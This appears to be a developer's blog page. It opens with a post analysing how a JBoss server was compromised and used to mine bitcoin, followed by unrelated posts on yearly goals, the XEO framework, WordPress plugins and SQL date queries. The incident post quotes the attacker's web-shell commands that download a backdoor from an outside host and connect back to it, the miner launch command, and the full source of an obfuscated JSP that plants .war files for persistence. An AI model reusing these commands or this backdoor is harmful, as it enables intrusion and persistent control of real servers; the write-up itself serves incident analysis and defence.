Kids, this is story of How I Met… my VPS hacked.

Hi everyone,

Just recently I published my technical goals for 2014  and one of them was to learn more about security. Well it couldn’t have been more appropriate, my Virtual Private Server (VPS) just got hacked, for the second time (I use the VPS to host a Java web application). The first time, I basically rebuilt my server and hardened security as much as I could, but it didn’t work (more on what I did later). I’m not really a system administrator nor do I have much experience on the matter so I guess I must learn my lessons either studying or by being stung.

What happened

My VPS was being used to mine bitcoins, I believe. If you never heard of bitcoins, check Wikipedia

How did I found out something was wrong?

My VPS is configured to send me an email alert when CPU usage is above 90% for more than 2 (two) hours, which was what happened. I received an email by 20.30 last night (Jan, 17 – 2014)

I logged in my VPS and used the top command to find that a single process was using all CPU, this was the culprit:

14915 ?        Ssl  710:07 ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 –background

Never heard of something like that, but with a bit of googling I traced it to bitcoin mining.

As I said at the beginning this was the second time my server got hacked (using the same method I believe ), so this time I really had to figure what went wrong as I wasn’t going to do everything from scratch again!

The first time my server was hacked I rebuilt it from scratch with the following steps to increase security:

  • Install a newer CentOS version
  • Update all packages
  • Disable root login via SSH
  • Disable password login via SSH (only private keys)
  • Setup firewall to block all traffic except port 80 (HTTP), 443 (HTTPS) and 22 (SSH)
  • Install Fail2Ban
  • Change the user and root password to even more secure passwords (more than 15 chars each)

I thought I had it covered…

I tried checking the SSH log at /var/log/secure and found that lots of attempts were made to login with different users (with common names like admin, oracle, weblogic, postgres, etc…) but none seemed to have succeeded as I had setup only private key login.

Could it be that someone found a vulnerability in my web application? Oh boy…
I have a setup where Jboss hosts the web application and Apache proxies and handles the SSL stuff.

Checking Apache Logs

I went on and checked the Apache access logs (in /var/log/httpd/access_log) around the time the CPU first went off and found something interesting

114.79.12.168 – - [17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo HTTP/1.1″ 200 540 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36″

A GET request to /a/pwn.jsp with a parameter cat /proc/cpuinfo… like this JSP was some kind of a web shell.. and it got a 200 OK response? No way…
Back to the browser to check and surely enough, the server responded with an empty page…  Next check… I try /a/pwn.jsp?cmd=ls and ouch… the directory listed

Ok, so let’s check the full log using the following command (trimmed for readability)

cat /var/log/httpd/acess_log | grep ‘pwn.jsp’

[17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo
[17/Jan/2014:18:15:36 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:15:41 +0000] “GET /a/pwn.jsp?cmd=ls%20-al
[17/Jan/2014:18:15:52 +0000] “GET /a/pwn.jsp?cmd=wget%20pdd-nos.info/.tmp/back.conn.txt%20-O%20bd
[17/Jan/2014:18:16:05 +0000] “GET /a/pwn.jsp?cmd=perl%20bd%20pdd-nos.info%2011457
[17/Jan/2014:18:17:44 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:18:23 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:27:57 +0000] “GET /a/pwn.jsp?cmd=ps%20x

With a little cleaning and url decode, you get the following list of commands:

  1. cat /proc/cpuinfo
  2. ps x
  3. ls -al
  4. wget pdd-nos.info/.tmp/back.conn.txt -O bd
  5. perl bd pdd-nos.info 11457
  6. ps x
  7. kill 14873
  8. ps x
  9. ps x

Interesting to see is that the web shell appears to be just a means to and end, because the wget used in step 4) downloaded something that was used in step 5) by the perl interpreter, I checked the pdd-nos.info link and found what appears to be a some kind of a backdoor shell and I assume this was what was used to launch the bitcoin mining process.

 

Breach detected

Ok, so I have a problem, a big one. And I need to do two things:

  • Eliminate the threat so that my VPS is once again my VPS :)
  • Find out how they installed a web shell

I started by searching how someone installed a web shell in my Jboss instance. With a bit of googling I found the following resources (the “pwn.jsp” filename was a really big help there)

Which in turn led me to find an existing vulnerability regarding JBoss’s HTTP Invoker was probably used, that basically means an attacker could trigger a remote code execution. Not nice!

With additional search I found an exploit ready to be used. A PHP script that downloads a .war application which contains the web shell and uses the known vulnerability in the HTTP invoker to deploy the .war.

But wait a minute, where was that logrotate process that was consuming my CPU (cleverly named so that I wouldn’t notice)? If there’s a process then there’s an executable somewhere. I found it right inside my /JBOSS_HOME/bin folder along with a file named jboss4.txt (also named so that I wouldn’t found him suspicious) whose content was

print “Executed”;
system(“nohup ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 &> logrotate.log”);

Now, the issue is… was there something else that could have been changed so that even if I restarted JBoss it would allow the attacker to execute the same attack again? Hunt time!

Indeed I found that in /JBOSS_HOME/server/INSTANCE/server/deploy/management was a little folder called “lMvcdFxMFrvdib.war” (I kid you not) and inside the folder a file named “ZqxQljMExRpriU.jsp” (again I kid you not).. the content of the JSP was

<%@page import=”java.io.*,
java.util.*,
sun.misc.BASE64Decoder”
%>
<%
String PJdpj = “”;
String pIGx = “”;
String RSVw = System.getProperty(“jboss.server.home.dir”);
if (request.getParameter(“pUBYyDsT”) != null){
try {
PJdpj = request.getParameter(“pUBYyDsT”);
pIGx = request.getParameter(“oAEICWIo”);
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + “/deploy/” + pIGx + “.war”;
FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();
}
catch(Exception e) {}
}
else {
try{
String VBpM = request.getParameter(“oAEICWIo”);
String dhkDS = RSVw + “/deploy/” + VBpM + “.war”;
new File(dhkDS).delete();
}
catch(Exception e) {}
}

Although the variable names are obfuscated you can tell that it receives some content encoded as Base64 and then writes that content to a .war file inside JBoss’s deploy directory. Clever trick… if I was to remove the attacker’s original war (the one with pwn.jsp) and restart Jboss, this .war file would also be deployed and provide a clear path of attack again!

Securing JBoss

So I had to secure the HTTP Invoker and that was the problem. I had the HTTPInvoker and WebConsole deployed and accessible to anyone (big, big mistake), since I don’t need them, I simply removed them, simple enough. Next, to delete the files!

Eliminate the threat

I had to delete the files in JBOSS_HOME/bin which where used to create shell and mine the bitcoins, I had to delete the pwn.jsp that was installed in my JBoss instance and had to delete the war with the crazy name to stop an attacker from deploying another war without my knowledge.

Conclusion

The conclusion is that you can never be to careful with security. Anyone from around the world can try to frak you and you must be very careful. I overlooked the deployment of the web console and HTTP Invoker and I paid for that. Things could have been worse If the attacker found a way to upgrade the privileges of the user running jboss (it’s a sudoer, but the password is really hard) he could have done a lot more damage. I hope I’ve removed the threat but I can’t be 100% sure, so I’ll have to  keep monitoring, but I’ve learned my lesson.

I found a detailed guide explaining the exploit and how it works, in case you want additional information.

Happy coding and be safe!

Additional resources

 

 

2013 Review and 2014 Technical Goals

Hi everyone!

First of all I would like to wish everyone a great 2014!

Much like everyone else I usually finish a year/start a new one by reviewing the goals I set last year and establishing new goals (yes I know it’s already mid-january, but the it’s the thought that counts!).

So let’s see last year’s goals:

Re-read some books (Code Complete, Design Patterns):

Well, I didn’t quite make it… I decided to read new books instead, oh well…

HTML5 and Mobile

I did pass Microsoft’s HTML5 exam but contrary to my predictions, I didn’t have the chance to work with HTML5 nor Mobile technologies most of the year, what a shame. I really thought 2013 would be my HTML5 year.

Git

I’ve been using git for all my projects and also at work and, although I don’t understand all of its features, I’m making progress and I hope to see some progress in 2014.

XEO Community

I’ve released XALPI as an open-source project, so we can say that I at least did something!

Blog

This one went better than expected. I was able to write more blog posts than in 2012 and I hope to improve in 2014 as well

 

And now the (ambitious) goals to 2014

Revisit Object-Oriented Best Practices and Design Patterns 

This one is basically the same as reading some old books again (like Code Complete, Clean Code, etc…). But I think that we (as developers), from time to time, need to go back to basics and re-evaluate what we think we know about OO Practices (because time and experience shapes our skills in a certain direction and sometimes it’s not the best one). This year I expect to do just that and read a lot about ways of creating object oriented systems and how to take advantage of objects.

HTML5 and Web Development

I’m much more of a back-end guy with some “hackish” front-end skills, which I would like to improve. I’ve been doing some experiments with CSS frameworks (namely Bootstrap) and reading about CSS (trying to learn the basics, really) including the usage of tools such as SASS and Compass which I hope to put to good use. I also need to have a deeper understanding of Javascript.

Security

Regarding WebDevelopment, there’s one area that I think that I particularly need to understand more and that is security. I know the basics of SQL Injection and Cross Site Scripting but I strongly believe I need to know much more if I hope to defend my own applications against attacks. Which means I need to know enough about security to hack my own web applications, ironically :)

Another Paradigm

I’ve been toying with the ideia of learning a new language like Scala (because it’s JVM based which is close to my usual reality) because I think it will open new horizons (I’ve a friend who took the Coursera course on Scala and he talks wonders about it), but the time constraints may be to large during the year.

Blog

Again, I’ll try to commit to write more in this blog but with so much goals, we’ll see how that goes.

Happy coding in 2014!

 

XEO – EboContext when to create and how to use

Hi everyone,

Today I’ll talk about an important concept in the XEO Framework. The EboContext. Specifically how you should use it, and how you shouldn’t use it.

If you’ve been using the framework, by now you know that whenever you need to load a model instance or create a list of model instances, you need to pass an instance of EboContext to the respective methods, like the following:

boObjectList.list(ctx, “select Model where something=otherthing”);

Most of the times, you can just do the following to get your hands on an instance of EboContext:

EboContext ctx = boApplication.currentContext().getEboContext();

But depending on the things you’ve been doing, you might find that the EboContext instance is null, why is that?
When a request is issued to the XWC Servlet (the Servlet that configured in your web.xml to process any request for files with a .xvw extension), that servlet is responsible for creating an EboContext and associating it to the current thread context and by the end of the request closing it. So each request has the following structure:

  • Browser makes request
  • XWC Servlet creates EboContext instance and associates it to the current context
  • Request is processed
  • XWC Servlet disposes of the EboContext instance

The step that created and associated the EboContext instance is the one responsible for you being able to issue a statement like boApplication.currentContext().getEboContext().

But what if you’re not using the XWC servlet and have some JSP page where you need to deal with XEO Objects? Well in that case you’re responsible for dealing with the EboContext instances. So what do you need to do to create an EboContext instance? See the example:

What’s really important to know about creating EboContext instances?

You MUST ABSOLUTELY CLOSE every instance you EXPLICITLY create

If you create instances of EboContext and don’t close them, pretty soon you’ll run out of database connections :) Talk about resource leakage heh?

Summary

  • In you’re in the context of a .xvw file, no need to create EboContext instances
  • If you’re out of that context, you’re responsible for creating the EboContext instance (and for closing it)
  • If you explicitly create an EboContext instance, you must explicitly close it in a finally statement
  • If you need the EboContext you created, to be accessible via boApplication.currentContext().getEboContext() you need to associated the instance via boApplication.currentContext.addEboContext(ctx).

Hope it helps when dealing with EboContexts!

 

 

7 essential wordpress plugins for technical blogs

Hi everyone

Today I’m going to move from my usually Java/XEO related posts and blog about wordpress plugins. The point is to share the plugins I have installed in this blog. So lets get started!

Akismet (bundled with wordpress)

Akistmet protects you from spam, and it does a great job at it. It’s the first in the list because it really is so important. If not for Akismet I would literally have to go through dozens of comments and check their content (and I have a very small blog with a low number of visits), this saves me hours!
You’ll need to register with Akismet for an API Key to activate the plugin.

Syntax Highlighter Compress 

Since I’m running a technical blog, one of the things I need is a code highlighter. This plugin highlights the most common languages like C#, Java, XML, SQL, Javascript, Ruby Phyton, etc.. as well as less common ones ( e.g. Erlang ). It has its own settings page where you can choose a stylesheet such as Eclipse/Emacs, among other things.

Social Sharing Toolkit

You must have a social sharing plugin these days, right? This plugin allows to share to virtually every social network you can think of (you can configure which social networks are displayed in each post you make). I personally only use Facebook, Twitter, LinkedIn, Google+ and Reddit. It’s easy to install, works well and it looks good.

Smart YoutTube Pro

I don’t usually post youtube videos, but when you need to do it, it becomes very handy. It has tons of options, but you basically just need to paste the youtube link and it will embed the video in the post, very nice!

Limit Login Attempts

This is one is here for security. Until I installed it, I had no idea about the amount of (automated) hacking going around these days. By default wordpress makes no attempt to limit login attempts which makes it a very nice friend to brute-force attacks. Even with a strong password, I feel much more secure by having it installed.

NK Google Analytics

Well, if you want to track your visits and all, you’ll want a Google Analytics account, as such, you’ll need a plugin. Installing Google Analytics on your page is basically coping a few lines of javascript to the main template, but if you don’t want to get your hands dirty, use this plugin. You’ll need to register an API Key with Google first!

WordPress SEO

Well, I’m far from being an SEO Expert, but this plugin really gives a certain amount of information about each of your posts regarding search engine optimization which I find useful. It has TONS of settings, but in the end, it’s really useful by showing little green/yellow/red balls next to the items you choose like keywords, description, etc…

Well, I hope you find this list useful.

Happy coding blogging!

 

 

 

Query SQL / BOQL with Dates in where clause using Java

Hi everyone,
One of the things that I struggled in the beginning (a long time ago in a galaxy far away, cof cof) with SQL queries (or BOQL queries if you’re using the XEO framework) was how to make queries using dates in the where clause, something like this:

select * from table where column_date > SOMETHING

Not knowing how to do date comparisons I usually did stuff like this ( evil code ahead, beware ) :

select * from some_table where to_char(column_data,'DD-MON-YYYY') > to_char('23-05-2013','DD-MON-YYYY');

Usually in Java you have java.util.Date instances which I heroically used like the following, in order to be able to create the previous query:

SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");
java.util.Date date = loadDateFromSomewhere();
String sql = "select * from some_table where to_char(column_data,'DD-MON-YYYY') > ('"+sdf.format(date)+"','DD-MON-YYYY')";

Well now I don’t do this kind of thing, eh eh… it’s way easier to do such queries using proper data types. Check in a Java SQL Prepared statement:

Connection conn = getConnection();
PreparedStatement statement = conn.prepareStatement("select * from some_table where column_date > ?");
statement.setDate(1, new java.sql.Date(loadDateFromSomewhere().getTime()));

Notice how you pass a java.sql.Date instance (created using the information from the java.util.Date instance) to the parameter. This has the added benefit that no data conversions are done (meaning extra performance). And if you have an index on a date column that index will be used ( I also learned that when you apply a function to an indexed column, that index won’t be used properly as the function has to be applied to every row in the table – check this )

In BOQL by the way it would be like this:

boObjectList.list(getEboContext(), "select Object where column_data > ?", new Object[]{ new java.sql.Date(date.getTime()) });

Important notes:

  • In SQL/BOQL queries you use java.sql.Date and java.sql.Timestamp instances (you don’t use java.util.Date instances)
  • Use java.sql.Date instances when you want to compare Dates only (ignoring time)
  • Use java.sql.Timestamp instances when you want to compare Dates including time information

And voilá… Dates in SQL/BOQL queries (using Java) without much effort. Hope it was useful,  Happy coding!